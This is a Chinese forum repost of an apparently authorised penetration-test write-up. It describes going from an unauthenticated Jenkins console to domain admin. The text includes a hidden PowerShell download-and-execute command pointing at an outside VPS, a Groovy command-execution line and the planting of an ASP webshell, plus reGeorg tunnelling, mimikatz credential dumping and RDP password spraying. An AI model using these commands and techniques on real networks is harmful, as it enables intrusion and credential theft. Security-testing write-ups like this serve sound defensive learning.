搜索

[22041] 2021-06-05_从Jenkins未授权到拿下域控的过程

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-06-05_从Jenkins未授权到拿下域控的过程 从 J e n k i n s 未 授 权 到 拿 下 域 控 的 过 程 香 白 菜   L e m o n S e c   2 0 2 1 - 0 6 - 0 5 目 标 目 标 任 务 任 务 ： 从 外 网 进 入 内 网 服 务 器 ， 获 取 资 产 内 网 漫 游 ， 拿 到 域 控 客 户 给 定 资 产 客 户 给 定 资 产 ： h t t p : / / 1 2 2 . x . x . 2 0 5 : 8 0 8 0 / 0 x 0 1   入 口 入 口 很 幸 运 找 到 一 个 J e n k i n s 漏 洞   可 以 命 令 执 行   默 认 s y s t e m 权 限 通 过 执 行 命 令 得 到 结 果 为 简 单 收 集 了 下 信 息 ： W i n d o w s 2 0 1 2   x 6 4   内 网 服 务 器 内 网 服 务 器   存 在 杀 软 存 在 杀 软 接 着 c s 生 成 个 p o w e r s h e l l 脚 本 进 行 转 发 ， 没 有 上 线 1 .   又 换 了 m s h t a 等 等 常 见 反 弹 手 法 ， 均 失 败 ， 且 没 有 回 显 ， p i n g 百 度 返 回 超 时 ， 判 断 服 务 器 没 有 出 网 h t t p 协 议 的 道 已 经 走 不 通 尝 试 走 d n s 隧 道 5 3 端 口 协 议 反 弹 到 c s ， 需 解 析 配 置 好 域 名 和 v p s 地 址 ， 然 后 c s 里 开 启 d n s 监 听 ， 生 成 p a y l o a d ， 但 是 d n s 生 成 的 p a y l o a d 也 得 上 传 到 s h e l l 里 运 行 p r i n t l n   " c m d . e x e   / c   w h o a m i " . e x e c u t e ( ) . t e x t p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 1 8 . * * . * * . * * / p a y l o a d . p s 1 ' ) ) "
既 然 服 务 器 h t t p 不 通 ， 远 程 下 载 p a y l o a d 并 运 行 的 方 式 也 行 不 通 ， j s p 的 w a r 包 也 不 知 道 放 在 什 么 地 方 但 是 发 现 ， 8 0 端 口 开 启 ， 是 i i s 管 理 器 的 默 认 主 页 d i r 命 令 找 到 i i s 默 认 目 录 C : i n e t p u b w w w r o o t ， 再 使 用 e c h o 写 入 一 个 a s p 一 句 话 到 网 站 根 目 录 成 功 成 功 g e t s h e l l 计 划 传 a s p x 大 马 ， 结 果 网 站 目 录 任 何 文 件 传 不 了 ， 权 限 过 小 0 x 0 2 提 权 之 一 波 三 折 提 权 之 一 波 三 折 这 里 一 波 三 折 ， 后 续 复 盘 发 现 绕 了 很 多 弯 路 ， 但 是 作 为 测 试 当 时 的 真 实 情 况 ， 记 录 出 来 让 大 家 避 坑 这 里 一 波 三 折 ， 后 续 复 盘 发 现 绕 了 很 多 弯 路 ， 但 是 作 为 测 试 当 时 的 真 实 情 况 ， 记 录 出 来 让 大 家 避 坑 看 到 i i s 权 限 那 就 先 提 个 权 ， 再 弹 个 s y s t e m 权 限 到 c s 即 可 ， 使 用 了 各 种 提 权 方 法 ， 均 提 权 失 败 了 尝 试 传 e x e 文 件 发 现 网 站 就 把 我 测 试 的 i p 封 了 ， 换 和 i p 刷 新 文 件 夹 发 现 缺 e x e 传 成 功 ， 但 是 文 件 破 损 了 发 现 服 务 器 装 了 g i t 工 具 ， 测 试 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / x x x /   成 功 下 载 文 件 C : P r o g r a m D a t a w h a t ? 之 前 不 是 不 出 h t t p 协 议 网 吗 ， n e t s t a t   - a n o 看 了 下
发 现 有 些 端 口 与 其 他 外 网 的 4 4 3 有 连 接 , 所 以 g i t   c l o n e 可 以 远 程 下 载 ， 这 里 依 次 执 行 了 e x e 、 p y 、 p s 1 都 无 法 上 线 突 然 想 到 在 J e n k i n s 里 是 s y s t e m 权 限 ， 于 是 找 了 个 可 写 目 录 传 a s p x 大 马 ， 接 着 m o v e 到 网 站 根 目 录 ， 拿 到 a s p x 大 马 在 C : P r o g r a m D a t a   目 录 传 了 d n s 协 议 生 成 的 p s 木 马 ， 执 行 没 反 应 ， 传 r a w 生 成 的 木 马 放 到 s h e l l c o d e 免 杀 里 生 成 e x e ， 执 行 也 无 回 显 但 是 另 一 个 朋 友 说 他 生 成 的 上 线 了 ， 自 己 测 试 ， s h e l l 内 执 行 一 直 转 圈 也 不 上 线   。 无 头 绪 了 ， 已 经 凌 晨 四 点 凌 晨 四 点 了 ， 明 天 再 搞 （ 后 来 设 置 监 听 为 h t t p   监 听 端 口 为 4 4 3   即 可 上 线 ） 0 x 0 3 内 网 转 发 内 网 转 发 起 床 后 理 一 理 思 路 既 然 上 不 线 ， 用 r e G e o r g 转 发 不 也 一 样 ， 把 t u n n e l . a s p x 到 C : P r o g r a m D a t a   m o v e 到 i i s 目 录 访 问 成 功 访 问 O K ， 本 地 r e G e o r g . p y 监 听 并 配 置 P r o x i f i e r p y t h o n   r e G e o r g S o c k s P r o x y . p y   - p   4 4 6   - u   h t t p : / / 1 2 2 . * * . * * . * * / t u n n e l . a s p x
P r o x i f i e r 配 置 ： 远 程 连 接 即 可 提 示 当 前 允 许 连 接 的 用 户 过 多 解 决 方 案 ： m s t s c   / a d m i n   / v : 1 9 2 . 1 6 8 . 1 5 . 8 2
然 后 还 是 无 法 连 接 解 决 方 法 ： 目 录 下 新 建 项 ， 在 名 称 中 输 入 上 右 键 单 击 选 择   新 建 》 项   名 称 中 输 入 P a r a m e t e r s 确 定 ， 在 P a r a m e t e r s 上 右 键 单 击 新 建 》 D W O R D （ 3 2 位 ） 值 （ D ） 修 改 名 称 为 A l l o w E n c r y p t i o n O r a c l e   。 在 A l l o w E n c r y p t i o n O r a c l e   上 右 键 单 击 选 择 修 改 ， 将 “ 数 值 数 据 （ V ） ” 改 为 2 ， 此 时 确 定 ， 关 闭 所 有 重 新 打 开 m s t s c 连 接 发 现 可 以 用 了 。 ` 成 功 登 录 :   m s t s c   / a d m i n   / v : 1 9 2 . 1 6 8 . 5 2 . 1 8 在 H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s S y s t e m C r e d S S P ， 在 C r e d S S P
致 此 前 渗 透 阶 段 完 成 。 0 x 0 4 横 向 渗 透 横 向 渗 透 上 传 m i m i k a t z 抓 到 当 前 机 器 a d m i n i s t e r t o r 密 码 使 用 超 级 弱 口 令 扫 了 下 整 个 b 段 的 r d p ， 字 典 内 加 入 抓 取 到 的 a d m i n i s t e r t o r 密 码 ， 成 功 扫 到 8 台 机 器 并 且 成 功 上 线 c s 马 在 这 台 机 器 的 c s 里 执 行 h a s h d u m p 获 取 登 录 凭 证 ， 并 横 向 到 1 9 2 . 1 6 8 . 1 5 . 7 0 和 7 6 机 器
可 以 看 到 成 功 横 向 上 线 经 过 常 规 的 信 息 收 集 ， 找 到 1 9 2 . 1 6 8 . 1 5 . 1 4 这 台 机 器 为 域 控 到 7 6 机 器 执 行 m i m i k a t z 抓 取 域 用 户 密 码 ， 尝 试 登 录 域 控 没 有 成 功 ， 可 能 权 限 不 够 接 着 去 看 7 0 机 器 ， 发 现 有 个 s s m 服 务 ， （ s q l s e r v e r M a n a g e ） 此 进 程 极 大 可 能 是 域 管 运 行 ， 所 以 这 台 机 器 内 存 中 可 能 存 在 域 管 密 码 ， m i m i k a t z 抓 取
1 .   2 .   3 .   至 此 成 功 拿 下 域 控 。 0 x 0 5 技 术 总 结 技 术 总 结 1 、 通 过 J e n k i n s 获 取 入 口 2 、 各 种 折 腾 提 权 以 及 转 发 3 、 收 集 主 机 密 码 4 、 通 过 收 集 的 密 码 爆 破 B 端 机 器 5 、 通 过 B 端 权 限 抓 取 域 控 密 码 U s e r n a m e : S u p e r x x x D o m a i n       :   x x x x P a s s w o r d :   X X X X X X X
6 、 获 取 域 控 权 限 白 名 单 转 载 于 补 天 平 台 。 白 名 单 转 载 于 补 天 平 台 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 关 注 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理